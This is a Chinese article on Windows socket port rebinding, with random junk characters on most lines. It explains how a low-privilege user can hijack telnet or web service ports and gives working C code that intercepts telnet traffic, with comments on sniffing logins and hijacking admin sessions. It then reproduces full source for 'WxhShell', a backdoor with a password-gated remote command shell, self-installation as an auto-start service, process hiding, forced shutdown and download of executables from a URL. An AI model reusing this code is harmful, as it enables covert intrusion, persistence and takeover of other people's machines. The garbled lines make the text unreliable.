在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
sGx"ja+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6nxX~k ?L=@Zs saddr.sin_family = AF_INET;
bLMN9wGOgK Rv9oK-S saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Uloa]X=Im8 //C3tW bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Wj2s+L7, $N$
ZJC6(@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
I@dS/ nic7RN?F< 这意味着什么?意味着可以进行如下的攻击:
3QL I|VpO 9NCo0!Fb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2z/qbzG7 plL##?<D< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`%
sKF (n'Mf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
MCN}pi 9|yn{4E 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
sjBP#_lW l7G&[\~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
o&2(xI2 x5q5<-# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
L"Y_:l3"7 x!CCSM;q 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
?yKW^,q+ _yje" #include
Y8I*B=7 #include
NABwtx>. #include
YJZViic #include
IY$H M3t7 DWORD WINAPI ClientThread(LPVOID lpParam);
]IQTf5n int main()
B%HG7 {
8BnI0l=\ WORD wVersionRequested;
JTu^p]os? DWORD ret;
3Qt-%=b& WSADATA wsaData;
v=4,kG BOOL val;
iN\D`9e SOCKADDR_IN saddr;
0pP;[7k\ SOCKADDR_IN scaddr;
zUg-M int err;
-)%l{@Mr SOCKET s;
qaK9E@l SOCKET sc;
HorFQ?8 int caddsize;
C[h"w'A2 HANDLE mt;
M7R.?nk DWORD tid;
DgOO\ wVersionRequested = MAKEWORD( 2, 2 );
h+o-h4X err = WSAStartup( wVersionRequested, &wsaData );
'F[m,[T%x if ( err != 0 ) {
%";bgU2Q printf("error!WSAStartup failed!\n");
>"qnuv G return -1;
R
+H0+omj }
<uXZ*E saddr.sin_family = AF_INET;
cPcp@Dp
=n_r\z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#Z8=z*4 o#V}l^uU= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Gni<@;} saddr.sin_port = htons(23);
#QdBI{2 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@y,pfWh` {
aiP.\`>} printf("error!socket failed!\n");
5c?1JH62o8 return -1;
O)g\/uRy }
>3R)&N val = TRUE;
, VT& //SO_REUSEADDR选项就是可以实现端口重绑定的
ml=tS, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Ew>E]Ys {
AS[yNCsjC printf("error!setsockopt failed!\n");
^O_E
T$ return -1;
XV"8R"u%Q }
gkDyWZG B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\XaKq8uE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$[5S M>e] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
&)?ECj0` -ea":}/ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
EHByo[ {
<-xI!o"} ret=GetLastError();
\{W} printf("error!bind failed!\n");
qV^Z@N+, return -1;
p8CDFLuV }
msKWb311u listen(s,2);
wO6
D\# while(1)
@BbqYX {
8PQKB*<dB" caddsize = sizeof(scaddr);
APydZ //接受连接请求
+C4UM9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
2H7b2% if(sc!=INVALID_SOCKET)
*c<=IcA {
.!yXto: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[=dK%7v if(mt==NULL)
H+UA {
CAX)AN printf("Thread Creat Failed!\n");
6CoDn(+z break;
_]~`t+W'DJ }
i7hWBd4wK }
qx,>j4yw CloseHandle(mt);
j9FG)0 }
iYwzdW1 closesocket(s);
<Sm@ !yx WSACleanup();
F Xbf7G)H return 0;
F@</Ev }
B}n
tD DWORD WINAPI ClientThread(LPVOID lpParam)
Jw;Tq"& {
WCc7 MK SOCKET ss = (SOCKET)lpParam;
7noxUGmFw SOCKET sc;
wxy.&a] unsigned char buf[4096];
pY75S5h: SOCKADDR_IN saddr;
Gt>*y.] long num;
n#F:(MSOp DWORD val;
E0 ~\ A; DWORD ret;
luNEgCq //如果是隐藏端口应用的话,可以在此处加一些判断
kzq3-NTV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
mUFg(;ya saddr.sin_family = AF_INET;
x+niY;Z E saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3aL8GMiu saddr.sin_port = htons(23);
%ZT@& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
rVo0H.+N)` {
|$AoI printf("error!socket failed!\n");
K"lZwU\:On return -1;
"UUzLa_ }
;JQ:S~K9 val = 100;
BhJag L ^o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
zQpF,N<b {
Ct-^-XD ret = GetLastError();
g<ZB9;FX % return -1;
5,H,OZ} }
HB+{vuN*L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0O,Q]P 82f {
IIrp-E MXJ ret = GetLastError();
$CT2E return -1;
[nL{n bli }
u">KE6um if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
fa~4+jx>S {
U]!~C 1cmw printf("error!socket connect failed!\n");
s/' ]* n closesocket(sc);
v[P
$c$Xi closesocket(ss);
Pra,r9h, return -1;
{,kA'Px) }
ZboY]1L[j while(1)
NR </Jm* {
D`Tx,^E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~yrEB:w`_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
yL ?dC"c //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
G a1B&@T num = recv(ss,buf,4096,0);
9c `Vrlu if(num>0)
>P-{2
a,4 send(sc,buf,num,0);
ExJch\ else if(num==0)
WoYXXYP/E break;
>)V1aLu= num = recv(sc,buf,4096,0);
aJAQ G if(num>0)
sr|afqjXD send(ss,buf,num,0);
>St]MS else if(num==0)
\piHdVD break;
,\2w+L5TD }
J 'qhY'te closesocket(ss);
o3=2`BvJ closesocket(sc);
}iOFB&)w return 0 ;
3rRN~$
}
+;@p'af!9 1$A7BP 5;:P^[cH9 ==========================================================
eyUhMjd P&3Z,f0 下边附上一个代码,,WXhSHELL
^seb8o7
OhNEt> ==========================================================
'h]sq{ at(oepq #include "stdafx.h"
;s$bVGHr }VetaO2* #include <stdio.h>
zG"*B_l}+ #include <string.h>
Qj:`[#3?2 #include <windows.h>
5Xe1a'n5] #include <winsock2.h>
.|Ee,Un #include <winsvc.h>
Y2Z<A(W #include <urlmon.h>
T/9`VB%N &O&;v|!9 #pragma comment (lib, "Ws2_32.lib")
G; onJ> #pragma comment (lib, "urlmon.lib")
G\\0N^v `fL81)!jI# #define MAX_USER 100 // 最大客户端连接数
PF6w'T 5 #define BUF_SOCK 200 // sock buffer
7BNu.5*y #define KEY_BUFF 255 // 输入 buffer
MPS{MGVjbJ 3$~6+i #define REBOOT 0 // 重启
C VyYV &U, #define SHUTDOWN 1 // 关机
C;DR@'+q s]lIDp} #define DEF_PORT 5000 // 监听端口
q3SYlL'a x{|`q9V~ N #define REG_LEN 16 // 注册表键长度
!}+rg2 #define SVC_LEN 80 // NT服务名长度
f\/'Fy0 z[E gMS! // 从dll定义API
. #7B10 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Y<h [5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
.#BWu(EYV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
i
wFI
lJ@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
E <O:
S|_} 0 // wxhshell配置信息
mh5ozv$ struct WSCFG {
ytsPk2@WR int ws_port; // 监听端口
SniKCqmC] char ws_passstr[REG_LEN]; // 口令
0QakFt int ws_autoins; // 安装标记, 1=yes 0=no
=xf7lN' char ws_regname[REG_LEN]; // 注册表键名
i!tF{'*%# char ws_svcname[REG_LEN]; // 服务名
JiXkW% char ws_svcdisp[SVC_LEN]; // 服务显示名
zA<Hj;9SM char ws_svcdesc[SVC_LEN]; // 服务描述信息
<D1>;C char ws_passmsg[SVC_LEN]; // 密码输入提示信息
O]/BNacS int ws_downexe; // 下载执行标记, 1=yes 0=no
rB<za I\V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
N.l\2S} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<}vult^ 4ne95_i };
l&2 }/A ,'FdUq )i // default Wxhshell configuration
Z2.S:y. struct WSCFG wscfg={DEF_PORT,
qad`muAd "xuhuanlingzhe",
qh]ILE87( 1,
uFXu9f+ "Wxhshell",
v})-: "Wxhshell",
/-mo8]J#2~ "WxhShell Service",
E+tV7xa~ "Wrsky Windows CmdShell Service",
`g~T #U\>d "Please Input Your Password: ",
S,'y
L7s 1,
~"t33U6 "
http://www.wrsky.com/wxhshell.exe",
faqh }4 "Wxhshell.exe"
/ }tMb };
?F!='6D}b ?)2&LVrf // 消息定义模块
n>5/y
c"/q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
i#RT4}l"a char *msg_ws_prompt="\n\r? for help\n\r#>";
mv0JD( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
#$dk char *msg_ws_ext="\n\rExit.";
MU-T>S4
char *msg_ws_end="\n\rQuit.";
HAHLF+k char *msg_ws_boot="\n\rReboot...";
LYV\|a{Y char *msg_ws_poff="\n\rShutdown...";
6Z,j^: B char *msg_ws_down="\n\rSave to ";
ryKc7< J8>8@m6 char *msg_ws_err="\n\rErr!";
:RqTbE4B char *msg_ws_ok="\n\rOK!";
3u tJlD ^Hplrwj} char ExeFile[MAX_PATH];
AlH\IP int nUser = 0;
u*:;O\6l HANDLE handles[MAX_USER];
XXe?@w2{ int OsIsNt;
2y"|l :v(fgS2\
SERVICE_STATUS serviceStatus;
=Ll:Ba Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
]a
,H!0i ;t_'87h$y // 函数声明
vnrP;T=^ int Install(void);
~|>q)4is6a int Uninstall(void);
!-OPzfHrI int DownloadFile(char *sURL, SOCKET wsh);
jJ B+UF= int Boot(int flag);
=MP?aH
[ void HideProc(void);
%~$P.Zh int GetOsVer(void);
>3J?O96|f int Wxhshell(SOCKET wsl);
>w}5\4j void TalkWithClient(void *cs);
E/Ng int CmdShell(SOCKET sock);
$!Pm*s int StartFromService(void);
Z}E.s@w int StartWxhshell(LPSTR lpCmdLine);
.dM|J'`g ._$tNGI4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#K[UqJ+x VOID WINAPI NTServiceHandler( DWORD fdwControl );
|;[%ZE" 5VXI/Lw# // 数据结构和表定义
IeZgF> SERVICE_TABLE_ENTRY DispatchTable[] =
FK2* O {
%xH2jf {wscfg.ws_svcname, NTServiceMain},
=HGC<# {NULL, NULL}
gFx2\QV };
o(w xu) /Mg$t6vM // 自我安装
h\@\*Xz<v int Install(void)
/%P|<[<
[ {
Z%t"~r0PS char svExeFile[MAX_PATH];
D ^Cpgha HKEY key;
{okx*]PIc strcpy(svExeFile,ExeFile);
qVpV ZH! F"?OLV1B& // 如果是win9x系统,修改注册表设为自启动
Xc!0'P0T if(!OsIsNt) {
Z fQzA}QD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
MzWVsV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lebwGW,! RegCloseKey(key);
!i`HjV0wS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x)h|!T=B~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:zWI" RegCloseKey(key);
m,TN%*U! return 0;
$}* bZ~ }
Hfw*\=p
}
Ac'0 }
e{*-_j"I else {
=gYKAr^p5 1F*3K3T { // 如果是NT以上系统,安装为系统服务
cKb jW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
X/8CvY#n if (schSCManager!=0)
Bj-80d, {
_$oN"pj SC_HANDLE schService = CreateService
l4:5(1 (
{4%B^+}T
schSCManager,
VXM5
B wscfg.ws_svcname,
\@3B%RW0 wscfg.ws_svcdisp,
" G&S`8 SERVICE_ALL_ACCESS,
cU+%zk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
iFypKpHg~ SERVICE_AUTO_START,
\bc ob8u SERVICE_ERROR_NORMAL,
PU"C('AP svExeFile,
-{^I T` NULL,
ry2ZVIFa NULL,
YoT<]' NULL,
d[p-zn. NULL,
rKtr&w7X NULL
dE`a1H% );
^E)*i#."4 if (schService!=0)
%+=y! {
D>Ub)i CloseServiceHandle(schService);
YEg(QOn3Q CloseServiceHandle(schSCManager);
19r4J(pV
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`~0^fSww strcat(svExeFile,wscfg.ws_svcname);
3t*e|Ih&j5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#%=6DHsK RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&"h 9Awn2 RegCloseKey(key);
Q"@x,8xW return 0;
_yu d }
=tS1|_ }
3\ !DsPgW CloseServiceHandle(schSCManager);
C'_^DPzj }
#jc+2F,+{ }
qt.G_fOz NQFMExg, return 1;
,bLHkBK }
aR2Vvo s.zfiJ // 自我卸载
b%TS37`^[ int Uninstall(void)
YM:;mX5B {
'1jG?D HKEY key;
x$6`k ~$bkWb*RJ if(!OsIsNt) {
U)PNY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
aLWNqe&1 RegDeleteValue(key,wscfg.ws_regname);
e
Qz_,vTk RegCloseKey(key);
!bPsJbIo> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gcy'"d" RegDeleteValue(key,wscfg.ws_regname);
g?}$"=B RegCloseKey(key);
l$1z%|I return 0;
/F(wb_! }
JFJ_
PphvD }
X:un4B}O }
`ZC{<eVJ}= else {
kPt] [1jo y,i ~w |4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
5
aT>8@$Z^ if (schSCManager!=0)
5*q!:$
W {
_>6xUt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
L$Uy if (schService!=0)
l\?HeVk^ {
kvdiDo if(DeleteService(schService)!=0) {
o~_ wx CloseServiceHandle(schService);
B;3lF;3` CloseServiceHandle(schSCManager);
s y ]k return 0;
u(Y! _ }
0L
^WTq CloseServiceHandle(schService);
H(JgqbFB* }
&gNb+z+ CloseServiceHandle(schSCManager);
n O^m }
R.Plfm06Ue }
<3 b|Sk:T =&5^[:ksB return 1;
7M|!N_ $ }
$RFy9(> R>r@I_ // 从指定url下载文件
t,YnweH int DownloadFile(char *sURL, SOCKET wsh)
^tw\F7 {
3!&PI HRESULT hr;
o!\Q, char seps[]= "/";
')bas#=uP char *token;
HFtl4P char *file;
="k9
y char myURL[MAX_PATH];
=J2cX` char myFILE[MAX_PATH];
O!,WH?r go6XUe strcpy(myURL,sURL);
{pV\]E\] token=strtok(myURL,seps);
SRUg2)d while(token!=NULL)
zKY 9'y {
f>*D@TrU file=token;
xla64Qld token=strtok(NULL,seps);
!mM`+XH }
ke+3J\;> (9"w{pnlLc GetCurrentDirectory(MAX_PATH,myFILE);
%gd{u\h^ strcat(myFILE, "\\");
_RT JEG strcat(myFILE, file);
yFD3:;} send(wsh,myFILE,strlen(myFILE),0);
up# R9
d| send(wsh,"...",3,0);
b`lLqV<[cB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
>q}Ns^ .' if(hr==S_OK)
d4 Hpe> return 0;
Wk0"U
V else
p)dD{+"/2 return 1;
+b9gP\Hke /M0A9ZT[ }
\!+#9sq0 NSsLuM=. // 系统电源模块
UdIl5P int Boot(int flag)
z'W8t|m}Pb {
C1x"q9|\` HANDLE hToken;
mMz^I7$ TOKEN_PRIVILEGES tkp;
y7x&/2 )1EF7.| if(OsIsNt) {
$X>$)U'p&- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6t,_Xqg* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
w%3R[Kdzk tkp.PrivilegeCount = 1;
~6<'cun@x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)jS9p~FS
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
hk +@ngh% if(flag==REBOOT) {
]c Or$O* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
b3zxiq
x return 0;
s`Y8&e.Yr }
LU7ia[T else {
\8KAK3i' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+ YjK# return 0;
rryC^Vma }
bzl-|+!yB }
P2j"L#% else {
<{z*6FM!' if(flag==REBOOT) {
AjW5H* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
y<h~jz#hkq return 0;
hHu?%f* }
dr54D else {
oB$P6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Fm| h3.`V return 0;
Y`U[Y Hx }
Xf"B\%,(` }
THOXs;
k0 ~ ~"qT return 1;
[?=Vqd }
vmY 88Kx&S 0sQt+_Dl%L // win9x进程隐藏模块
S260h,(, void HideProc(void)
;RElG>#$ {
w[/_ o,R 2fa1jl HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.8v[ss6: if ( hKernel != NULL )
6AA"JX {
++d%D9*V< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
g5\EVcHkz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
%mO.ur>21 FreeLibrary(hKernel);
v
J_1VW }
=B/Ac0Y )R- e^Cb return;
kdam]L:9 }
L]syDn 8F;r$i2 // 获取操作系统版本
%xJ6t5.- int GetOsVer(void)
gdx2&~ {
GY~Q) Z OSVERSIONINFO winfo;
Wf}x"* winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
FEF $4)ROv GetVersionEx(&winfo);
T1([P!g* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/Cl=;^) return 1;
pO10L`| else
d~>d\K%v return 0;
,WA[HwY- }
#C`IfP./ T\
cJn>kCn // 客户端句柄模块
-!ARVf * int Wxhshell(SOCKET wsl)
Q&@~<!t {
PlX6,3F SOCKET wsh;
=8p *Ijs struct sockaddr_in client;
1Fs:&* = DWORD myID;
hE9UWa.Q> QrX 5Kwq while(nUser<MAX_USER)
*=KX0%3 {
dB=aq34l int nSize=sizeof(client);
qGYru1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
pAm
L if(wsh==INVALID_SOCKET) return 1;
E[nJ'h<h p_Yx"nO7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
G(*7hs if(handles[nUser]==0)
S+LS!b closesocket(wsh);
O^_$cq else
fPj*qi nUser++;
9?6]Zag }
(9A`[TRwi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
jW!x!8= 5R UhrE return 0;
u~-,kF@ }
c[6=& Rr!oT?6J? // 关闭 socket
Pi!3wy void CloseIt(SOCKET wsh)
yf/c {
/ Ml d. closesocket(wsh);
!ot$ Q nUser--;
?%]?#4bkc ExitThread(0);
mD]^a;U[X }
8euh]+ Z4ZR]eD // 客户端请求句柄
_l$1@ void TalkWithClient(void *cs)
WNa#X]*E) {
/ DC\F5 G 4Up3x+bg SOCKET wsh=(SOCKET)cs;
Aq5@k\[ char pwd[SVC_LEN];
%ylpn7I\6 char cmd[KEY_BUFF];
m`Dn R`+ char chr[1];
Nm;V9*5 int i,j;
{T=rsPp<@ )yyS59s while (nUser < MAX_USER) {
7k==?,LG3 K;NaiRP#k if(wscfg.ws_passstr) {
N =0R6{' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H"n@=DMLm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
q_gsYb //ZeroMemory(pwd,KEY_BUFF);
,<cF<9h i=0;
w~S~ while(i<SVC_LEN) {
'-?t^@ q@6Je(H // 设置超时
wfJ["
q fd_set FdRead;
c8=@s# struct timeval TimeOut;
a+_F^ FD_ZERO(&FdRead);
->0OqVQA FD_SET(wsh,&FdRead);
F#
a)"$j; TimeOut.tv_sec=8;
B*,Qw_3dG TimeOut.tv_usec=0;
,iYKtS3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;A3aUN;"I if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Cjn)`Q8 M%#H>X\/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>_m4
idq1 pwd
=chr[0]; RO9oO7S
if(chr[0]==0xd || chr[0]==0xa) { Q&;d7A.@
pwd=0; i(pevu
break; |#rP~Nj)
} <zdo%~ba
i++; P?Fm<s:
} {zj<nu
-g6C;<Y
// 如果是非法用户,关闭 socket {W5D)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l*0`{R
} TXDb5ZCzM
j1hx{P'
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CNRiK;nQ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ ]LiL;A&
"p[FFg
while(1) { VJ'bS9/T
N:yyDeGyW
ZeroMemory(cmd,KEY_BUFF); 9tZ+?O5
5%Xny8
]|D
// 自动支持客户端 telnet标准 (qky&}H
j=0; r!,/~~mT
while(j<KEY_BUFF) { H>/LC* 8-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MY$-D+#/`
cmd[j]=chr[0]; GA.4'W^&a
if(chr[0]==0xa || chr[0]==0xd) { rdY/QvP0=
cmd[j]=0; g'Id31r'
break; F#az&
} 5uJ{#Zd
j++; Ov5*&*P
} 0u7\*Iy
:: 2pDtMS
// 下载文件 )b_
GKA
`
if(strstr(cmd,"http://")) { W2CQk
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %!_%%p,f
if(DownloadFile(cmd,wsh)) "k%B;!We)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9"TPAywd
else n;5;D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `=B0NC.3
} j & x=?jX
else { *z{.9z`
~LKX2Q:S
switch(cmd[0]) { (H*d">`mz
y,OwO4+y\
// 帮助 g\n0v~T+
case '?': { B&Igm<72x
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); my|UlZ(qg
break; )U':NV2
} 1sHaG
// 安装 =yZiBJ
case 'i': { 01-n_ $b
if(Install()) EEJsNF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J% t[{
else
, 7kS#`P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \;%DDw
break; UFED*al#
} !UV/p"CfX
// 卸载 ?[ts<Ltp
case 'r': { "++q.y
if(Uninstall()) ny,a5zEnF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^:yg,cS|Be
else pOz4>R
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *YI>Q@F9
break; 9u->.O: p
} ;Npv 2yAab
// 显示 wxhshell 所在路径 b3,&RUF
case 'p': { o9Z!Z^
char svExeFile[MAX_PATH]; NP {O
strcpy(svExeFile,"\n\r"); >cEB,@~
strcat(svExeFile,ExeFile); D}| 30s?u1
send(wsh,svExeFile,strlen(svExeFile),0); Zk4(
break; xzRs;AXOp
} 2EdKxw3$]
// 重启 ^6Std
x_
case 'b': { *Y@)t*
-a
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +-|D$@8S
if(Boot(REBOOT)) \40d?N#D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M]Y72K^
else { k$hNibpkt
closesocket(wsh); ``:AF:
ExitThread(0); i~k9s
} N`DLIv8i;
break; eqL~h1^Co
} N9M''H*VS
// 关机 #0+`dI_5/
case 'd': { PUdJ>U
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NB z3j
if(Boot(SHUTDOWN)) P0En&g+~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zy -&g:
else { ZL-YoMHc+_
closesocket(wsh); '|\et aD
ExitThread(0); R`RLq1WA
} {c3u!}mW
break; YJ&K0%R
} E[FRx1^R9
// 获取shell f.o,VVYi
case 's': { 7sQw&yUL)
CmdShell(wsh); B~0L'8WzW
closesocket(wsh); \I"UW1)B
ExitThread(0); 5nGDt~a
break; b$24${*'
} CFW\
// 退出 G*;}6 bj|?
case 'x': { g*NKY`,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b Hr2LhQCN
CloseIt(wsh); 9Q#eu~R
break; DiB~Ovh|
} _/W[=c
// 离开 G n_AXN
case 'q': { [Z5Lgg&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2>.2H
closesocket(wsh); +7jr ]kP9
WSACleanup(); x*~a{M,h
exit(1); U#O6l-xe]
break; xb!h?F&
} Ufz& 2
} iI[Z|"a 21
} \}ujSr#<